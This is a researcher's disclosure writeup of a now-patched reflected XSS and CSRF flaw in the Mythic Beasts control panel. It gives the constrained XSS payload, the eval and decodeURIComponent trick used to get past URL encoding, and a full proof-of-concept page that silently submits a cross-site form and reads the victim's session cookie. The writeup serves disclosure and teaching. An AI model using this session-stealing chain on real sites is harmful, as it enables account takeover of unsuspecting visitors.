Mythic Beasts - XSS+CSRF Writeup
This is a technical writeup about a vulnerability in Mythic Beasts that led to total account compromise, and why being able to chain XSS with CSRF is so dangerous.
I'm a volunteer cybersecurity engineer at The Gwiddle Foundation. It is my job to test websites and services that we use for vulnerabilities in order to protect users. So it began on the morning of September 4th, 2017. I was just testing a few fields on our sponsor's website (Mythic Beasts) for reflected XSS, and to my surprise, I did find one field that was vulnerable.
The domain-searching feature did not sanitize domain names before writing them to the page. When I would enter in a domain name that contains an XSS payload, it would write about 10 versions of the domain with different TLDs to the webpage without sanitizing. Also, because domain names like <svg onload=alert(1)>.com
are invalid, there were also error messages that were not sanitized on the page. So the payload would execute a total of 20 times on the page.
Later that night when I had more time to test, I checked for CSRF protection to see if it would be possible to exploit the reflected XSS vulnerability cross-site. There was no CSRF protection on the domain-searching form. And so, I decided to design a proof of concept webpage that would exfiltrate the session token from Mythic Beasts and write it to the page.
Here's how I planned for the PoC webpage to work:
target
was set to the id of an iframe on the webpage, the form would be submitted to the iframe (so the current webpage wouldn't change, and everything could happen in the background).window.top.postMessage()
on the vulnerable webpage to send the cookies cross-site to the webpage that was exploiting the vulnerability.Basically, by viewing a specially crafted webpage, you would have unknowingly submitted a cross-origin POST request to mythic beasts that contained an XSS payload that would execute. The payload, in very simple terms (and without completely describing what it does), would send the cookies (document.cookie
) which contains the session token back to window.top
(the original page that was exploiting the vulnerability) via window.postMessage()
.
.
, "
, '
, and /
were not allowed in the payload. You could encode them using HTML entities, but as mentioned in the above point, the payload had to be short, and I did not have room for HTML entities.window.top.postMessage(document.cookie, "*")
to send the cookies back to me. However, because the payload had to be short, I did not have room in the payload to execute that. So I came up with this after some testing: <svg onload=eval(window.search.split(9)[1])>
. Basically, it eval
s (executes) the code in the page URL that is after the character 9
.
.
is just the HTML entities encoded version of a period (.
).cmd
or something more readable, but the problem was that I did not have enough room in the payload to put HTML entity-encoded quotation marks.9
in the URL, I would just make the URL that the form posts to https://ctrlpanel.mythic-beasts.com/customer/newdomain?9window.top.postMessage(document.cookie, "*")
, right? Well, nope. I was getting a syntax error, because the browser URL encoded the parameters in the URL. Oh, that's a big problem. I needed to write JavaScript to be able to decode URL-encoded strings and eval
(execute) them. And that code must be syntactically valid, even when when URL-encoded. Then I realized that putting this in the URL would work: eval(decodeURIComponent(String(window.location).substring(55)))
substring
is run on the URL to get only the URL parameters, because the length of the URL without the parameters is 55
.https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55)))
.
?
character, it would run into some syntax errors once it hit the character 9
. However, this can be prevented by putting a single-line comment (//
) before the 9
but after the code we want to execute.That was really complicated. Here's less detailed rundown of how it works:
https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55)))
.eval(window.search.split(9)[1])
. That basically evaluates (or executes) the code after the character 9
in the URL, which in this case, is eval(decodeURIComponent(String(window.location).substring(55)))
.eval(decodeURIComponent(String(window.location).substring(55)))
just evalutates the URL-decoded string that is after the 55th character. In this case, that would mean it evaluates the string window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55)))
.window.top.postMessage(document.cookie, "*")
. This sends the cookies to us. The second part that executes is //9eval(decodeURIComponent(String(window.location).substring(55)))
. This is the code we used before to bypass the problem involving URL encoding. We can just put a comment before the 9
character, and we won't have to deal with it throwing syntax errors or whatever.Why is this dangerous? An attacker could potentially have exfiltrated victims' session tokens, and used them to register servers, change passwords, or perform any actions on the website that victims normally could without getting their usernames or passwords or ever logging in (and just by visiting an attacker's website).
How did Mythic Beasts respond? Mythic Beasts' security team was very kind, and they fixed the vulnerability relatively quickly. They even rewarded me with an Amazon gift card and wrote a blog post about the incident. Thanks a ton, Mythic Beasts!
Is this fixed now? Yes. Mythic Beasts is no longer vulnerable.
Edit: Here's a link to Mythic Beasts' blog post about this incident: https://blog.mythic-beasts.com/2017/10/06/education/.
Timeline of events:
Sep 04th, 2017: Vulnerability in Mythic Beasts identified.
Sep 04th, 2017: Vulnerability reported to Mythic Beasts security team.
Sep 07th, 2017: Vulnerability patched by Mythic Beasts security team.
Sep 07th, 2017: Requested disclosure (via blog post).
Sep 13th, 2017: Mythic Beasts security team allowed disclosure.
Oct 06th, 2017: Mythic Beasts security team rewarded Amazon gift card, thanks!
Oct 06th, 2017: Mythic Beasts published blog post: https://goo.gl/qvCij4
Oct 06th, 2017: This blog post was published.
This proof of concept no longer works, because the vulnerability has been patched. It is only here as an example of how this vulnerability could have been exploited.
<html>
<head>
<meta http-equiv="Access-Control-Allow-Origin" content="https://ctrlpanel.mythic-beasts.com/customer/newdomain">
<title>PoC</title>
</head>
<body style="background-color: black;font-family: monospace;color: green">
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' style="display: none;" action="https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55)))" target="csrf-frame" id="csrf-form">
<input type='hidden' name='_submitted' value="3">
<input type='hidden' name='_page' value="1">
<input type='hidden' name='_submit' value="Check+availability">
<input type='hidden' name='search_what' value='quick'>
<input type='hidden' name='domain_names' value=''>
<input type='hidden' name='keyword' value="<svg onload=eval(location&#46;search&#46;split(9)[1])>">
<input style="display:none" type='submit' value='submit'>
</form>
<script>
// register an event listener for sending messages
window.addEventListener("message", receiveMessage, false);
var done = false;
// this function is called when the mythic beasts iframe sends a message to window.top.
function receiveMessage(event) {
if(!done) {
done = true; // had to do this whole "done" thing because the payload actually executes about 20 times, so it spams the page.
document.getElementById("msg").innerHTML += "<br>Successfully exfiltrated session token: <b>" + String(event.data).substring(11) + "</b> (cookie domain is ctrlpanel.mythic-beasts.com)";
}
}
// this would run after 6 seconds without receiving the message. it just alerts the user that it failed.
setTimeout(function(){
if(!done){
document.getElementById("msg").innerHTML += "<br>Failed to exfiltrate session token.";
}
}, 6000);
// exploit it :)
document.getElementById("csrf-form").submit();
</script>
<div id="msg">Exploiting CSRF+XSS vulnerability, please wait...<br></div>
</body>
</html>